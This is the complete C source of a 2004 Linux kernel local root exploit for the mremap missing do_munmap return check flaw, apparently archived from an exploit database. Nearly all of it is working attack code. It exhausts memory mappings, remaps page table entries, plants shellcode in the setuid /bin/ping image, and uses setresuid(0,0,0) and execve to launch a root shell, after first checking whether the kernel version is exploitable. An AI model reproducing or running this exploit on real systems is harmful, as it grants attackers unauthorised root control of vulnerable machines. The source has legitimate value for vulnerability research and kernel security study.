Linux Kernel <= 2.2.25 / <= 2.4.24 / <= 2.6.2 - 'mremap()' Missing 'do_munmap' Exploit (1)



/*

 *
 *    mremap missing do_munmap return check kernel exploit
 *
 *    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
 *    ./mremap_pte [suid] [[shell]]
 *    
 *    Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
 *
 *    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

//    this is for standard kernels with 3/1 split
#define STARTADDR    0x40000000
#define PGD_SIZE    (PAGE_SIZE * 1024)
#define VICTIM        (STARTADDR + PGD_SIZE)
#define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

#define DSIGNAL        SIGCHLD
#define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE    ( (1UL) << 0 )
#define MREMAP_FIXED    ( (1UL) << 1 )

#define __NR_sys_mremap    __NR_mremap


//    how many ld.so pages? this is the .text section length (like cat     
//    /proc/self/maps) in pages
#define LINKERPAGES    0x14

//    suid victim
static char *suid="/bin/ping";

//    shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,         
      ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, 
             unsigned long new_len, unsigned long flags, 
             unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


//    code to appear inside the suid image
static void suid_code(void)
{
__asm__(
    "        call    callme                \n"

//    setresuid(0, 0, 0), setresgid(0, 0, 0)
    "jumpme:    xorl    %ebx, %ebx            \n"
    "        xorl    %ecx, %ecx            \n"
    "        xorl    %edx, %edx            \n"
    "        xorl    %eax, %eax            \n"
    "        mov    $"xstr(__NR_setresuid)", %al    \n"
    "        int    $0x80                \n"
    "        mov    $"xstr(__NR_setresgid)", %al    \n"
    "        int    $0x80                \n"

//    execve(launch)
    "        popl    %ebx                \n"
    "        andl    $0xfffff000, %ebx        \n"
    "        xorl    %eax, %eax            \n"
    "        pushl    %eax                \n"
    "        movl    %esp, %edx            \n"
    "        pushl    %ebx                \n"
    "        movl    %esp, %ecx            \n"
    "        mov    $"xstr(__NR_execve)", %al    \n"
    "        int    $0x80                \n"

//    exit
    "        xorl    %eax, %eax            \n"
    "        mov    $"xstr(__NR_exit)", %al        \n"
    "        int    $0x80                \n"

    "callme:    jmp    jumpme                \n"
    );
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
    "        movl    %%esp, %%eax            \n"
    "        andl    $0xfffff000, %%eax        \n"
    "        movl    %%eax, %0            \n"
    : : "m"(old_esp)
    );
}


static inline void cloneme(void)
{
__asm__(
    "        pusha                    \n"
    "        movl $("xstr(CLONEFL)"), %%ebx        \n"
    "        movl %%esp, %%ecx            \n"
    "        movl $"xstr(__NR_clone)", %%eax        \n"
    "        int  $0x80                \n"
    "        movl %%eax, %0                \n"
    "        popa                    \n"
    : : "m"(pid)
    );
}


static inline void my_execve(void)
{
__asm__(
    "        movl %1, %%ebx                \n"
    "        movl %2, %%ecx                \n"
    "        movl %3, %%edx                \n"
    "        movl $"xstr(__NR_execve)", %%eax    \n"
    "        int  $0x80                \n"
    : "=a"(ret)
    : "m"(suid), "m"(argv), "m"(env)
    );
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

    memset((void*)addr, 0x90, PAGE_SIZE);
    r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
    ptr = (void*) (addr + PAGE_SIZE);
    ptr -= r+1;
    memcpy(ptr, suid_code, r);
    memcpy((void*)addr, launch, strlen(launch)+1);
}


//    hit VMA limit & populate PTEs
static void exhaust(void)
{
//    mmap PTE donor
    t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
          MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if(MAP_FAILED==t)
        goto failed;

//    prepare shell code pages
    for(i=2; i<LINKERPAGES+1; i++)
        pte_populate(victim + PAGE_SIZE*i);
    i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
    if(i)
        goto failed;

//    lock unmap
    base = MMAP_BASE;
    cnt = 0;
    prot = PROT_READ;
    printf("\n"); fflush(stdout);
    for(;;) {
        t = mmap((void*)base, PAGE_SIZE, prot, 
             MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
        if(MAP_FAILED==t) {
            if(ENOMEM==errno)
                break;
            else
                goto failed;
        }
        if( !(cnt%512) || cnt>65520 )
            printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
            base+PAGE_SIZE); fflush(stdout);
        base += PAGE_SIZE;
        prot ^= PROT_EXEC;
        cnt++;
    }

//    move PTEs & populate page table cache
    ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
             MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
    if(-1==ret)
        goto failed;

    munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
    t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,         
         PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 
         0);
    if(MAP_FAILED==t)
        goto failed;

    *t = *((unsigned *)old_esp);
    munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
    printf("\n[+] Success\n\n"); fflush(stdout);
    return;

failed:
    printf("\n[-] Failed\n"); fflush(stdout);
    _exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

    uname(&un);
    n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
    if(n!=3 || a!=2) {
        printf("\n[-] invalid kernel version string\n");
        _exit(0);
    }

    if(b==2) {
        if(c<=25)
            v=1;
    }
    else if(b==3) {
        if(c<=99)
            v=1;
    }
    else if(b==4) {
        if(c>18 && c<=24)
            v=1, e=1;
        else if(c>24)
            v=0, e=0;
        else
            v=1, e=0;
    }
    else if(b==5 && c<=75)
        v=1, e=1;
    else if(b==6 && c<=2)
        v=1, e=1;

    printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
        un.release, v? "YES" : "NO", e? "YES" : "NO" );
    fflush(stdout);

    if(v && e)
        return;
    _exit(0);
}


int main(int ac, char **av)
{
//    prepare
    check_kver();
    memset(env, 0, sizeof(env));
    memset(argv, 0, sizeof(argv));
    if(ac>1) suid=av[1];
    if(ac>2) launch=av[2];
    argv[0] = suid;
    get_esp();

//    mmap & clone & execve
    exhaust();
    cloneme();
    if(!pid) {
        my_execve();
    } else {
        waitpid(pid, 0, 0);
    }

return 0;
}

// milw0rm.com [2004-03-01]